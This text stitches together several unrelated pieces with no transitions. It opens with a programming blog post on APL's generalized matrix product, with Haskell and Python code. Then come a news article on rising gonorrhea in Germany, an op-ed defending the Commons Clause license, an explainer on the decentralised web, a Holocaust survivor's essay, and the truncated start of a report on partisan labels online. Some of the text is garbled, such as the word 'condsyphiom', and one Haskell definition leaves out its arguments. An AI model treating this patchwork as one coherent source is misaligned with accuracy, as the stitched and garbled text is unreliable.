APL matrix product operator

I very recently suggested a mathematical operation that does this:

$$\begin{align} \left((\sqrt\bullet) \cdot x + \left(\frac1\bullet\right) \cdot 1 \right) ⊛ (9x+4) & = \sqrt9 x^2 + \frac14 \\& = 3x^2 + \frac 14 \end{align}$$

Here the left-hand argument is like a polynomial, except that the coefficients are functions. The right-hand argument is an ordinary polynomial.

It occurs to me that the APL progamming lanaguage (invented around 1966) actually has something almost like this, in its generalized matrix product.

In APL, if ? and ! are any binary operators, you can write ?.! to combine them into a matrix operator. Like ordinary matrix multiplication, the new operator combines an !!m×n!! and an !!n×r!! matrix into an !!m×r!! matrix. Ordinary matrix multiplication is defined like this:

$$c_{ij} = a_{i1} \cdot b_{1j} +
a_{i2} \cdot b_{2j} + \ldots + a_{in} \cdot b_{nj} $$

The APL ?.! operator replaces the addition with ? and the multiplication with !, so that +.× is exactly the standard matrix multiplication. Several other combined operations of this type are, if not common, at least idiomatic. For example, I have seen, and perhaps used, ∨.∧, +.∧, and ⌈.⌊. (⌈ and ⌊ are APL's two-argument minimum and maximum operators.)

With this feature, the ⊛ operator I proposed above would be something like +.∘, where ∘ means function composition. To make it work you need to interpret the coefficients of an ordinary polynomial as constant functions, but that is not much of a stretch. APL doesn't actually have a function composition operator.

APL does have a ∘ symbol, but it doesn't mean function composition, and also the !.? notation is special cased, in typically APL style, so that !.∘ does something sort of related but rather different. Observe also that if !!a!! and !!b!! are !!1×n!! and !!n×1!! matrices, respectively, then !!a +.× b!! ought to be dot product of !!a!! and !!b!!: it is a !!1×1!! matrix whose sole entry is:

$$c_{11} = a_{11} \cdot b_{11} +
a_{12} \cdot b_{21} + \ldots + a_{1n} \cdot b_{n1} $$

and similarly if !!a!! is !!n×1!! and !!b!! is !!1×m!! then !!a +.× b!! is the outer product, the !!n×m!! matrix whose !!c_{ij} = a_i × b_j!!. But I think APL doesn't distinguish between a !!1×n!! matrix and a vector, though, and always considers them to be vectors, so that in such cases !!a +.× b!! always gets you the dot product, if !!a!! and !!b!! are the same length, and an error otherwise. If you want the outer product of two vectors you use a ∘.× b instead. a ∘.+ b would be the outer product matrix with !!c_{ij} = a_i + b_j!!. APL is really strange.

I applied for an APL job once; I went to a job fair (late 1980s maybe?) and some Delaware bank was looking for APL programmers to help maintain their legacy APL software. I was quite excited at the idea of programming APL professionally, but I had no professional APL experience so they passed me over. I think they made a mistake, because there are not that many people with professional APL experience anyway, and how many twenty-year-olds are there who know APL and come knocking on your door looking for a job? But whatever, it's probably better that I didn't take that route.

The +.× thing exemplifies my biggest complaint about APL semantics: it was groping toward the idea of functional programming without quite getting there, never quite general enough. You could use !/, where! was any built-in binary operator, and this was quite like a fold. But you couldn't fold a user-defined function of two arguments! And you couldn't write a higher-order fold function either.

I was pleased to find out that Iverson had designed a successor language, J, and then quickly disappointed when I saw how little it added. For example, it has an implicit “hook” construction, which is a special case in the language for handling one special case of function composition. In Haskell it would be:

    hook f g x = x `f` (g x)

but in J the hook itself is implicit. If you would rather use (g x) `f` x instead, you are out of luck because that is not built-in. I don't know why Iverson thought the hook was the thing to embed in the language. (J also has an implicit “fork” which is fork f g h x = (f x) `g` (h x).)

Meanwhile the awful APL notation has gotten much more awful in J, and you get little in return. You even lose all the fun of the little squiggles. Haskell is a much better J than J ever was. Haskell's notation can be pretty awful too ((.) . (.)?), but at least you are are getting your money's worth.

I thought I'd see about implementing APL's !.? thing in Haskell to see what it would look like. I decided to do it by implementing a regular matrix product and then generalizing. Let's do the simplest thing that could possibly work and represent a matrix as a list of rows, each of which is a list of entries.

For a regular matrix product, !!C = AB!! means that !!c_{ij}!! is the dot product of the !!i!!th row of !!A!! and the !!j!!th column of !!B!!, so I implemented a dot product function:

    dot_product :: Num b => [b] -> [b] -> b
    dot_product a b = foldr (+) 0 $ zipWith (*) a b

OK, that was straightforward.

The rows of !!A!! are right there, but we also need the columns from !!B!!, so here's a function to get those:

    transpose ([]:_) = []
    transpose x = (map head x) : transpose (map tail x)

Also straightforward.

After that I toiled for a very long time over the matrix product itself. My first idea was to turn !!A!! into a list of functions, each of which would dot-product one of the rows of !!A!! by a given vector. Then I would map each of these functions over the columns of !!B!!.

Turning !!A!! into a list of functions was easy:

    map dot_product a  :: [ [x] -> x ]

and getting the columns of !!B!! I had already done:

    transpose b :: [[x]]

and now I just need to apply each row of functions in the first part to each column in the second part and collect the results:

    ??? (map dot_product a) (transpose b)

I don't know why this turned out to be so damn hard. This is the sort of thing that ought to be really, really easy in Haskell. But I had many difficulties.

First I wasted a bunch of time trying to get <*> to work, because it does do something like that. But the thing I wanted has signature

  ??? :: [a -> b] -> [a] -> [[b]]

whereas <*> flattens the result:

<*> :: [a -> b] -> [a] -> [b]

and I needed to keep that extra structure. I tried all sorts of tinkering with <*> and <$> but never found what I wanted.

Another part of the problem was I didn't know any primitive for “map a list of functions over a single argument”. Although it's not hard to write, I had some trouble thinking about it after I wrote it:

    pamf fs b = fmap ($ b) fs

Then the “map each function over each list of arguments” is map . pamf, so I got

     (map . pamf) (map dot_product a) (transpose b)

and this almost works, except it produces the columns of the results instead of the rows. There is an easy fix and a better fix. The easy fix is to just transpose the final result. I never did find the better fix. I thought I'd be able to replace map . pamf with pamf . map but the latter doesn't even type check.

Anyway this did work:

    matrix_product a b = 
       transpose $ (map . pamf) (map dot_product a) (transpose b)

but that transpose on the front kept bothering me and I couldn't leave it alone.

So then I went down a rabbit hole and wrote nine more versions of???:

    fs `op` as  = do
       f <- fs
       return $ fmap f as

    fs `op2` as = fs >>= (\f -> return $ fmap f as)

    fs `op3` as = fs >>= (return . flip fmap as )
    fs `op4` as = fmap ( flip fmap as ) fs
    op5 as = fmap ( flip fmap as )
    op6 :: [a -> b] -> [a] -> [[b]]
    op6 = flip $ fmap . (flip fmap)

    fs `op7` as = map (\f -> [ f a | a <- as ]) fs
    fs `op8` as = map (\f -> (map f as)) fs
    fs `op9` as = map (flip map as) fs

I finally settled on op6, except it takes the arguments in the “wrong” order, with the list of functions second and their arguments first. But I used it anyway:

    matrix_product a b =  (map . flip map) (transpose b) (map dot_product a)

The result was okay, but it took me so long to get there.

Now I have matrix_product and I can generalize it to uses two arbitrary operations instead of addition and multiplication. And hey, I don't have to touch matrix_product! I only need to changedot_product because that's where the arithmetic is. Instead of

    dot_product a b = foldr (+) 0 $ zipWith (*) a b

just use:

    inner_product u v = foldr add 0 $ zipWith mul u v

Except uh oh, that 0 is wrong. It might not be the identity for whatever weird operation add is; it might be min and then we need the 0 to be minus infinity.

I tinkered a bit with requiring a Monoid instance for the matrix entries, which seemed interesting at least, but to do that I would need to switch monoids in the middle of the computation and I didn't want to think about how to do that. So instead I wrote a version offoldr that doesn't need an identity element:

    foldr' f (a:as) = foldr f a as

This fails on empty lists, which is just fine, since I wasn't planning on multiplying any empty matrices.

Then I have the final answer:

    general_matrix_product add mul a b =
      (map . flip map) (transpose b) (map inner_product a) where
        inner_product u v = foldr' add $ zipWith mul u v

It's nice and short, but on the other hand it has that mysterious map . flip map in there. If I hadn't written that myself I would see it and ask what on earth it was doing. In fact I did write it myself and I although I do know what it is doing I don't really understand why.

As for the shortness, let's see what it looks like in a more conventional language:

    def transpose(m):
      return list(zip(*m))

Wow, that was amazingly easy.

    def matrix_product(a, b):
      def dot_product(u, v):
        total = 0
        for pair in zip(u, v):
          total += pair[0] * pair[1]
        return total

      bT = transpose(b)
      c = []
      for i in range(len(a)):
        c.append([])
        for j in range(len(bT)):
          c[-1].append(None)
          c[i][j] = dot_product(a[i], bT[j])
      return c

Okay, that was kind of a mess. The dot_product should be shorter because Python has a nice built-in sum function but how do I build the list of products I want to sum? It doesn't have map because it doesn't have lambdas. I know, I know, someone is going to insist that Python has lambdas. It does, sort of, but they suck.

I think the standard Python answer to this is that you don't needmap because you're supposed to use list comprehension instead:

      def dot_product(u, v):
        return sum([ x*y for (x, y) in zip(u, v) ])

I don't know how I feel about that argument in general but in this case the result was lovely. I have no complaints.

While I was writing the Python program I got a weird bug that turned out to be related to mutability: I had initialized c with

    c = [[None] * len(bT)] * len(a)

But this makes the rows of c the same mutable object, and then installing values in each row overwrites the entries we stored in the previous rows. So definitely score one point for Haskell there.

A lot of the mess in the code is because Python is so obstinate about extending lists when you need them extended, you have to say pretty please every time. Maybe I can get rid of that by using more list comprehensions?

    def matrix_product2(a, b):
      def dot_product(u, v):
        return sum([ x*y for (x, y) in zip(u, v) ])

      return [ [ dot_product(u, v) for v in transpose(b) ] for u in a ]

Python's list comprehensions usually make me long for Haskell's, which are so much nicer, but this time they were fine. Python totally wins here. No wait, that's not fair: maybe I should have been using list comprehensions in Haskell also?

    matrix_product = [ [ dot_product row col | col <- transpose b ] | row <- a ]

Yeah, okay. All that map . flip map stuff was for the birds. Guido thinks that map is a bad idea, and I thought he was being silly, but maybe he has a point. If I did want the ??? thing that applies a list of functions to a list of arguments, the list comprehension solves that too:

    [ f x | f <- fs, x <- xs ]

Well, lesson learned.

I really wish I could write Haskell faster. In the mid-1990s I wrote thousands of lines of SML code and despite (or perhaps because of) SML's limitations I was usually able to get my programs to do what I wanted. But when I try to write programs in Haskell it takes me a really long time to get anywhere.

Apropos of nothing, today is the 77th birthday of Dennis M. Ritchie.

[ Addendum: It took me until now to realize that, after all that, the operation I wanted for polynomials is not matrix multiplication. Not at all! It is actually a convolution:

$$ c_k = \sum_{i+j=k} a_ib_j $$

or, for my weird functional version, replace the multiplication !!a_ib_j!! with function composition !!a_i ∘ b_j!!. I may implement this later, for practice. And it's also tempting to try to do it in APL, even though that would most likely be a terrible waste of time… ]

[Other articles in category /prog] permanent link

Gonorrhea is one of the most common venereal diseases in the world. In Germany, the number of infections has increased significantly in recent years, and that number is still rising.

"We must assume that we have around 25,000 new gonococcal infections per year," said Norbert Brockmeyer of the WIR Center for Sexual Health and Medicine in Bochum. "This is what we're seeing in all the relevant centers. In our center, there are days when we treat five or six patients for gonorrhea."

Since 2000, it has no longer been compulsory to register cases of gonorrhea in Germany, except in the state of Saxony. It was thought that the classic venereal disease was under control and had effectively been eradicated. This has proved incorrect.

"All sexually transmitted diseases — not only gonorrhea — are celebrating an undreamt-of comeback," said Brockmeyer. The WIR center tries to inform people as comprehensively as it can, warning them of unprotected sex and promoting condom use. Condoms significantly reduce the risk of infection, but they don't provide total protection.

The gonococcus bacterium — not as harmless as it looks

Discharge, itching and infertility

The symptoms of gonorrhea — also known as the clap — are usually very unpleasant.

Among others, they include discharge from the vagina or urethra. "This is not a clear discharge, it is suppurating," explained Brockmeyer. "In men, drops leave the urethra, especially in the morning — so-called morning drops. This is because secretions and pus have gathered in the night and then are discharged in the morning in thick drops."

Gonorrhea is a bacterial inflammation caused by the bacterium gonococcus. The body's response is to produce an army of leucocytes, or white blood cells, creating a yellowish fluid. In addition to this discharge, infected people can also experience pain when passing urine.

Gonorrhea is transmitted during sex, and it's usually the genitals that are affected. Intense itching and pain can be the first indications of possible infection. Many people, however, notice nothing at all. This is true in around 70 percent of infections.

The anal area and even the mouth and throat can also be infected by gonococci, for example through unprotected oral sex. The pathogens are extremely virulent and people can become infected very quickly.

"The gonococci have often been transmitted before someone even picks up a condsyphiom; they've infected themselves through other sexual practices" such as foreplay, said Brockmeyer. "If you get vaginal fluid on your hands, you can catch gonorrhea."

In a worst-case scenario, gonorrhea can lead to infertility in both women and men. If the condition is not treated immediately and is allowed to spread, it can lead to inflammation of the lesser pelvis and subsequently to a blockage of the fallopian tubes in women, which can mean infertility. In men it can have the same effect on the seminal ducts and testes.

If a pregnant woman becomes infected with gonorrhea, there is a danger the infection may be transmitted to the unborn child, which can result in miscarriage or stillbirth. In babies, the eyes in particular are affected. Newborns develop symptoms just a few days after birth, including swollen eyelids and light sensitivity.

Resistant strains increasingly common

For a long time antibiotics were the treatment of choice for gonorrhea in adults and newborns, but now there's a need to develop new medicines. "We already have significant resistance rates with gonorrhea," said Brockmeyer. "The result is that the medicines don't work." In extreme cases, that means a simple case of gonorrhea can no longer be properly treated.

The German Sexually Transmitted Infections Society is banking on a combination of the development of effective therapies and good prophylaxis. It wants to see the acronym STI — sexually transmitted infections— become as firmly anchored in the public consciousness as the letters HIV (human immunodeficiency virus).

The number of people living with HIV in Germany has increased relatively slowly in recent years, partly as a result of repeated information campaigns. Germany has the lowest infection rate in the word, said Brockmeyer. "In the past few years we've focused specifically on HIV. Meanwhile, though, there are more and more campaigns tackling old, well-known diseases like gonorrhea and syphilis."

Most people know what HIV and AIDS are. It's a different scenario with the classic venereal diseases. Many people don't really understand which infections come under this heading, or what the different terms actually mean: chlamydia, for example, or hepatitis B; genital herpes; the human papillomavirus (HPV); or indeed syphilis and gonorrhea. The risk of becoming infected with HIV is also considerably higher if you've already been infected with one of the classic STIs.

A random sampling of one of the many posts on an internet forum about gonorrhea highlights the long-standing prejudices that are still prevalent: "I'd actually only ever heard of gonorrhea in the context of rich business people who'd gone on holiday to Asia and then infected their partners."

You don't have to be rich, and you don't need to travel to Asia, to catch gonorrhea. It can happen anywhere — including at home.

Every evening at 1830 UTC, DW editors send out a selection of the day's hard news and quality feature journalism. You can sign up to receive it directly here.

There’s a dark cloud on the horizon. The behavior of cloud infrastructure providers, such as Amazon, threatens the viability of open source.

During 13 years as a venture investor, I have invested in the companies behind many open-source projects:

Open source has served society, and open-source business models have been successful and lucrative. Life was good.

Amazon’s behavior

I admire Amazon’s execution. In the venture business we are used to the large software incumbents (such as IBM, Oracle, HP, Compuware, CA, EMC, VMware, Citrix and others) being primarily big sales and distribution channels, which need to acquire innovation (i.e. startups) to feed their channel. Not Amazon. In July 2015, The Wall Street Journal quoted me as saying, “Amazon executes too well, almost like a startup. This is scary for everyone in the ecosystem.” That month, I wrote Fear The Amazon Juggernaut on investor site Seeking Alpha. AMZN is up 400 percent since I wrote that article. (I own AMZN indirectly.)

But to anyone other than its customers, Amazon is not a warm and fuzzy company. Numerous articles have detailed its bruising and cutthroat culture. Why would its use of open source be any different?

Go to Amazon Web Services (AWS) and hover over the Products menu at the top. You will see numerous open-source projects that Amazon did not create, but runs as-a-service. These provide Amazon with billions of dollars of revenue per year.

For example, Amazon takes Redis (the most loved database in StackOverflow’s developer survey), gives very little back, and runs it as a service, re-branded as AWS Elasticache. Many other popular open-source projects including, Elasticsearch, Kafka, Postgres, MySQL, Docker, Hadoop, Spark and more, have similarly been taken and offered as AWS products.

To be clear, this is not illegal. But we think it is wrong, and not conducive to sustainable open-source communities.

Commons Clause

In early 2018, I gathered together creators, CEOs or chief counsels of two dozen at-scale open-source companies, some of them public, to talk about what to do. In March I spoke to GeekWire about this effort. After a lot of constructive discussion the group decided that rather than beat around the bush with mixing and matching open-source licenses to discourage such behavior, we should create a straightforward clause that prohibits the behavior. We engaged respected open-source lawyer Heather Meeker to draft this clause.

In August 2018 Redis Labs announced their decision to add this rider (i.e. one additional paragraph) known as the Commons Clause to their liberal open-source license for certain add-on modules. Redis itself would remain on the permissive BSD license  —  nothing had changed with Redis itself! But the Redis Labs add-on modules will include the Commons Clause rider, which makes the source code available, without the ability to “sell” the modules, where “sell” includes offering them as a commercial service. The goal is to explicitly prevent the bad behavior of cloud infrastructure providers.

Anybody else, including enterprises like General Motors or General Electric, can still do all the things they used to be able to do with the software, even with Commons Clause applied to it. They can view and modify the source code and submit pull-requests to get their modifications into the product. They can even offer the software as-a-service internally for employees. What Commons Clause prevents is the running of a commercial service with somebody else’s open-source software in the manner that cloud infrastructure providers do.

This announcement has  — unsurprisingly, knowing the open-source community  — prompted spirited responses, both favorable and critical. At the risk of oversimplifying: those in favor view this as a logical and positive evolution in open-source licensing that allows open-source companies to run viable businesses while investing in open-source projects. Michael DeHaan, creator of Ansible, in Why Open Source Needs New Licenses, put one part particularly well:

We see people running open source “foundations” and web sites that are essentially talking heads, spewing political arguments about the definition of “open source” as described by something called “The Open Source Initiative”, which contains various names which have attained some level of popularity or following. They attempt to state that such a license where the source code is freely available, but use cases are limited, are “not open source”. Unfortunately, that ship has sailed.

Those neutral or against point out that the Commons Clause makes software not open source, which is accurate, and that making parts of the code base proprietary is against the ethos of open source; and Redis Labs must be desperate and having trouble making money.

First, do not worry about Redis Labs. The company is doing very, very well. And Redis is stronger, more loved and more BSD than ever before.

More importantly, we think it is time to reexamine the ethos of open source in today’s environment. When open source became popular, it was designed for practitioners to experiment with and build on, while contributing back to the community. No company was providing infrastructure as a service. No company was taking an open-source project, re-branding it, running it as a service, keeping the profits and giving very little back.

Our view is that open-source software was never intended for cloud infrastructure companies to take and sell. That is not the original ethos of open source. Commons Clause is reviving the original ethos of open source. Academics, hobbyists or developers wishing to use a popular open-source project to power a component of their application can still do so. But if you want to take substantially the same software that someone else has built, and offer it as a service, for your own profit, that’s not in the spirit of the open-source community.

As it turns out in the case of the Commons Clause, that can make the source code not technically open source. But that is something we must live with, to preserve the original ethos.

Apache + Commons Clause

Redis Labs released certain add-on modules as Apache + Commons Clause. Redis Labs made amply clear that the application of Commons Clause made them not open source, and that Redis itself remains open source and BSD-licensed.

Some rabid open-source wonks accused Redis Labs of trying to trick the community into thinking that modules were open source, because they used the word “Apache.” (They were reported to be foaming at the mouth while making these accusations, but in fairness it could have been just drool.)

There’s no trick. The Commons Clause is a rider that is to be attached to any permissive open-source license. Because various open-source projects use various open-source licenses, when releasing software using Commons Clause, one must specify to which underlying permissive open-source license one is attaching Commons Clause.

Why not AGPL?

There are two key reasons to not use AGPL in this scenario, an open-source license that says that you must release to the public any modifications you make when you run AGPL-licensed code as a service.

First, AGPL makes it inconvenient but does not prevent cloud infrastructure providers from engaging in the abusive behavior described above. It simply says that they must release any modifications they make while engaging in such behavior. Second, AGPL contains language about software patents that is unnecessary and disliked by a number of enterprises.

Many of our portfolio companies with AGPL projects have received requests from large enterprises to move to a more permissive license, since the use of AGPL is against their company’s policy.

Balance

Cloud infrastructure providers are not bad guys or acting with bad intentions. Open source has always been a balancing act. Many of us believe in our customers and peers seeing our source code, making improvements and sharing back. It’s always a leap of faith to distribute one’s work product for free and to trust that you’ll be able to put food on the table. Sometimes, with some projects, a natural balance occurs without much deliberate effort. But at other times, the natural balance does not occur: We are seeing this more and more with infrastructure open source, especially as cloud infrastructure providers seek to differentiate by moving up the stack from commodity compute and storage to higher level infrastructure services.

Revisions

The Commons Clause as of this writing is at version 1.0. There will be revisions and tweaks in the future to ensure that Commons Clause implements its goals. We’d love your input.

Differences of opinion on Commons Clause that we have seen expressed so far are essentially differences of philosophy. Much criticism has come from open-source wonks who are not in the business of making money with software. They have a different philosophy, but that is not surprising, because their job is to be political activists, not build value in companies.

Some have misconstrued that it prevents people from offering maintenance, support or professional services. This is a misreading of the language. Some have claimed that it conflicts with AGPL. Commons Clause is intended to be used with open-source licenses that are more permissive than AGPL, so that AGPL does not have to be used! Still, even with AGPL, few users of an author’s work would deem it prudent to simply disregard an author’s statement of intent to apply Commons Clause.

Protecting open source 

Some open-source stakeholders are confused. Whose side should they be on? Commons Clause is new, and we expected debate. The people behind this initiative are committed open-source advocates, and our intent is to protect open source from an existential threat. We hope others will rally to the cause, so that open-source companies can make money, open source can be viable and open-source developers can get paid for their contributions.

The story that broke earlier last month that Google would again cooperate with Chinese authorities to run a censored version of its search engine, something the tech giant has neither confirmed nor denied, had ironic timing. The same day, a group of 800 web builders and others – among them Tim Berners-Lee, who created the world wide web – were meeting in San Francisco to discuss a grand idea to circumvent internet gatekeepers like Google and Facebook. The event they had gathered for was the Decentralised Web Summit, held from 31 July to 2 August, and hosted by the Internet Archive. The proponents of the so-called decentralised web – or DWeb – want a new, better web where the entire planet’s population can communicate without having to rely on big companies that amass our data for profit and make it easier for governments to conduct surveillance. And its proponents have got projects and apps that are beginning to function, funding that is flowing and social momentum behind them. In light of the Snowden revelations and Cambridge Analytica scandal, public concerns around spying and privacy have grown. And more people have heard about the DWeb thanks to the television comedy Silicon Valley, whose main character recently pivoted his startup to try and build this “new internet”.

What is the decentralised web?
It is supposed to be like the web you know but without relying on centralised operators. In the early days of the world wide web, which came into existence in 1989, you connected directly with your friends through desktop computers that talked to each other. But from the early 2000s, with the advent of Web 2.0, we began to communicate with each other and share information through centralised services provided by big companies such as Google, Facebook, Microsoft and Amazon. It is now on Facebook’s platform, in its so called “walled garden”, that you talk to your friends. “Our laptops have become just screens. They cannot do anything useful without the cloud,” says Muneeb Ali, co-founder of Blockstack, a platform for building decentralised apps. The DWeb is about re-decentralising things – so we aren’t reliant on these intermediaries to connect us. Instead users keep control of their data and connect and interact and exchange messages directly with others in their network.

Why do we need an alternative?
With the current web, all that user data concentrated in the hands of a few creates risk that our data will be hacked. It also makes it easier for governments to conduct surveillance and impose censorship. And if any of these centralised entities shuts down, your data and connections are lost. Then there are privacy concerns stemming from the business models of many of the companies, which use the private information we provide freely to target us with ads. “The services are kind of creepy in how much they know about you,” says Brewster Kahle, the founder of the Internet Archive. The DWeb, say proponents, is about giving people a choice: the same services, but decentralised and not creepy. It promises control and privacy, and things can’t all of a sudden disappear because someone decides they should. On the DWeb, it would be harder for the Chinese government to block a site it didn’t like, because the information can come from other places.

How does the DWeb work that is different?
There are two big differences in how the DWeb works compared to the world wide web, explains Matt Zumwalt, the programme manager at Protocol Labs, which builds systems and tools for the DWeb. First, there is this peer-to-peer connectivity, where your computer not only requests services but provides them. Second, how information is stored and retrieved is different. Currently we use http and https links to identify information on the web. Those links point to content by its location, telling our computers to find and retrieve things from those locations using the http protocol. By contrast, DWeb protocols use links that identify information based on its content – what it is rather than where it is. This content-addressed approach makes it possible for websites and files to be stored and passed around in many ways from computer to computer rather than always relying on a single server as the one conduit for exchanging information. “[In the traditional web] we are pointing to this location and pretending [the information] exists in only one place,” says Zumwalt. “And from this comes this whole monopolisation that has followed… because whoever controls the location controls access to the information.”

Is this something to do with that word “blockchain”?
Blockchain technology is the secure, encrypted technology that cryptocurrencies such as bitcoin and Ether run off. It provides a decentralised public digital ledger of transactions, which tracks ownership securely in an environment without trust. While the first applications of blockchain technology were for digital currency transactions, that same technology is now finding application in the development of the DWeb including recording the movement of data, registering unique user names and even data storage. There are also cryptocurrencies themselves being deployed to help create the DWeb. For example, Protocol Labs launched Filecoin in August last year having raised $205m for the project. The idea is to incentivise the creation of a decentralised data storage network by creating an open market in data storage. If you have spare capacity, you can store others’ data and earn Filecoin. If you want your extra data stored, you can find someone on the network and pay them in Filecoin. The deals get recorded on a blockchain.

How will my everyday experience of using the web change?
If it is done right, say enthusiasts, either you won’t notice or it will be better. One thing that is likely to change is that you will pay for more stuff directly – think micropayments based on cryptocurrency – because the business model of advertising to us based on our data won’t work well in the DWeb. Want to listen to songs someone has recorded and put on a decentralised website? Drop a coin in the cryptocurrency box in exchange for a decryption key and you can listen. Another difference is that most passwords could disappear. One of the first things you will need to use the DWeb is your own unique, secure identity, says Blockstack’s Ali. You will have one really long and unrecoverable password known only to you but which works everywhere on the DWeb and with which you will be able to connect to any decentralised app. Lose your unique password, though, and you lose access to everything.

I’m convinced– where do I sign up?
The decentralised web isn’t quite here yet. But there are apps and programs built on the decentralised model. Many are experimental but some of the more developed products include OpenBazaar (a decentralised marketplace), Graphite Docs (a Google documents alternative), Textile Photos (an Instagram-like alternative for storing, managing, and sharing photos on the DWeb), Matrix (which provides Slack and WhatsApp alternatives) and DTube (a YouTube alternative). Social network alternatives include Akasha and Diaspora. There is also a new independent experimental browser for exploring the peer-to-peer web called Beaker Browser. The Internet Archive, the nonprofit organisation that archives the web through snapshots of web pages and other media, has made a first attempt to decentralise its website by bringing together many of the technologies.

Any downsides? What might go wrong?
Without the big online intermediaries to exercise their central control, there is the potential for online harassment and hate speech to increase.

“Censorship – both by good people and bad – is going to be harder,” says Kahle. And if information is stored in a decentralised way, how do you ever truly get rid of information you no longer want to have online? That could be a concern for the European “right to be forgotten”.

The same tech that can protect users in the DWeb from central surveillance might also offer a shield to criminals, for example distributors of child abuse images. If the DWeb is allowing people to store files and data totally encrypted, so nobody can see them, it means they can store or share images they shouldn’t be. Though, says Sander Pick, co-founder of Textile, that’s not a problem unique to the DWeb, with purveyors of child abuse images using various encryption techniques and anonymous networks to hide on the web we have today.

What challenges does the DWeb face? What’s holding things back?
First, it is technically more difficult to build a decentralised web because everything isn’t in one place. Then there’s getting people to use it. “Right now humanity lives at Facebook,” says Mitchell Baker, chairwoman of the Mozilla Foundation. A killer app, a thing that everyone wants, could help here – but there isn’t one yet. Though that is neither surprising nor a failure given how early it still is, adds Baker. Many of the apps that do exist are clunky and difficult to use; user experience needs to improve.

The DWeb movement also needs to focus on its true advantages – the things centralised systems can’t do, says Juan Benet, founder of Protocol Labs. And one of those is speed. Because of the way the DWeb works differently from the current web, it should intrinsically be faster, but there is a long way to go on that, he says.

There are also big issues about governance that need to be ironed out, says Primavera De Filippi, who studies the legal and organisational challenges of decentralised technologies at the National Centre for Scientific Research in Paris and the Berkman Klein Center for Internet & Society at Harvard University. How does the decentralised web all come together when no one is in charge? And how do you make sure things don’t just become centralised again, the system repeating itself, particularly when there are companies that want to make money?

How big online companies push back also remains to be seen. “There are going to be a lot of forces for the status quo,” says Kahle. The DWeb is new and burgeoning, but it also isn’t inevitable.

The pop-up ads! The autoplaying videos!

Germany’s chancellor Angela Merkel stated this summer that “when the generation that survived the war is no longer here, we’ll find out whether we have learned from history”. As a Polish Jew born in 1925, who survived the Warsaw ghetto, lost my family in the Holocaust, served in a special operations unit of the Polish underground, the Home Army, and fought in the Warsaw uprising of 1944, I know what it means to be at the sharp end of European history – and I fear that the battle to draw the right lessons from that time is in danger of being lost.

Now 93 years old and living in Tel Aviv, I have watched from afar in recent years as armchair patriots in my native Poland have sought to exploit and manipulate the memories and experiences of my generation. They may think they are promoting “national dignity” or instilling “pride” in today’s young people, but in reality they are threatening to raise future generations in darkness, ignorant of the war’s complexity and doomed to repeat the mistakes for which we paid such a high price.

But this is not just a Polish phenomenon: it is happening in many parts of Europe, and our experiences hold lessons for the whole continent.

Given what I’ve learned over my lifetime I would, first, urge future generations of Europeans to remember my generation as we really were, not as they may wish us to have been. We had all the same vices and weaknesses as today’s young people do: most of us were neither heroes nor monsters.

Of course, many people did extraordinary things, but in most cases only because they were forced to by extreme circumstances, and even then, true heroes were very few and far between: I do not count myself among them.

The same applies to those who failed in their moral obligations during that time. Of course, there were many who committed unspeakable, unforgivable crimes. But it is nonetheless important to understand that we were a generation living in fear, and fear makes people do terrible things. Unless you have felt it, you cannot truly understand it.

Second, just as there is no such thing as a “heroic generation”, there is no such thing as a “heroic nation” – or indeed an inherently malign or evil nation either. I must confess that for much of my life, I maintained the view that it was important for Poles to feel pride in their wartime record – leading me, when recounting my experiences serving in the Home Army in Warsaw under Nazi occupation, to omit certain examples of indifference and uncooperativeness on behalf of my fellow Poles. It is only in recent years, as I have seen that pride turn into self-righteousness, and that self-righteousness into self-pity and aggression, that I have realised just how wrong it was not to be completely open about the failings I witnessed.

The truth is that, as a Pole and as a Jew, as a soldier and as a refugee, I experienced a wide spectrum of behaviour at the hands of Poles – from those who sheltered me at risk to their own lives, to those who sought to take advantage of my vulnerability, and all possible shades of concern and indifference in between.

And although the Third Reich destroyed my world, it was a German woman who saved my life by introducing me to the men who would recruit me into the Polish underground. No nation has a monopoly on virtue – something that many people, including many of my fellow Israeli citizens, still struggle to understand.

Third, do not underestimate the destructive power of lies. When the war broke out in 1939, my family fled east and settled for a couple of years in Soviet-occupied Lwów (now Lviv in western Ukraine). The city was full of refugees, and rumours were swirling about mass deportations to gulags in Siberia and Kazakhstan. To calm the situation, a Soviet official gave a speech declaring that the rumours were false – nowadays they would be called “fake news” – and that anyone spreading them would be arrested. Two days later, the deportations to the gulags began, with thousands sent to their deaths.

Those people and millions of others, including my immediate family, were killed by lies. My country and much of the continent was destroyed by lies. And now lies threaten not only the memory of those times, but also the achievements that have been made since. Today’s generation doesn’t have the luxury of being able to argue that it was never warned or did not understand the consequences of where lies will take you.

Confronting lies sometimes means confronting difficult truths about one’s self and one’s own country. It is much easier to forgive yourself and condemn another, than the other way round; but this is something that everyone must do. I have made my peace with modern Germany, and hope that all Europeans can do the same.

Finally, do not ever imagine that your world cannot collapse, as ours did. This may seem the most obvious lesson to be passed down, but only because it is the most important. One moment I was enjoying an idyllic adolescence in my home city of Lodz, and the next we were on the run. I would only return to my empty home five years later, no longer a carefree boy but a Holocaust survivor and Home Army veteran living in fear of Stalin’s secret police, the NKVD. I ended up moving to what was then the British mandate of Palestine, fighting in a war of independence for a Jewish homeland I didn’t even know I had.

Perhaps it is because I was only a child that I did not notice the storm clouds that were gathering, but I believe that many who were older and wiser than me at that time also shared my childlike state.

If disaster comes, you will find that all the myths you once cherished are of no use to you. You will see what it is like to live in a society where morality has collapsed, causing all your assumptions and prejudices to crumble before your eyes. And after it’s all over, you will watch as, slowly but surely, these harshest of lessons are forgotten as the witnesses pass on and new myths take their place.

• Stanisław Aronson took part in the Polish resistance under Nazi occupation. He lives in Israel

Social media can feel like a missed opportunity. Often, instead of allowing us to learn from the millions of people on the other side of the screen, these digital platforms lock in our personal beliefs. Liberal versus conservative. Christian versus Muslim. Patriots fans versus everyone else.

Merely seeing these political and social labels can cause you to reject facts that you would otherwise support, according to a study published Monday in the Proceedings of the National Academies of Science.

In the study, when hundreds of Democrats and Republicans were forced to engage in a social network, the presence of party logos — an elephant and a donkey — undermined their ability to collectively interpret climate change data from NASA. When political logos were removed, participants from both parties worked together to reach the same conclusion — that Arctic ice is melting over time.

To eliminate echo chambers and partisan rancor on social media, platforms need to limit the presentations of the most basic symbols that divide us, the research team said.

What the scientists did

In 2013, the National Snow and Ice Data Center published a routine update about the size of Arctic ice that quickly became a viral controversy. Using NASA satellites, the center said it had recorded the sixth lowest amount of Arctic sea ice in history. But relative to the year prior — which had the least sea ice ever measured — 2013 measurements looked like an increase in frozen seawater.

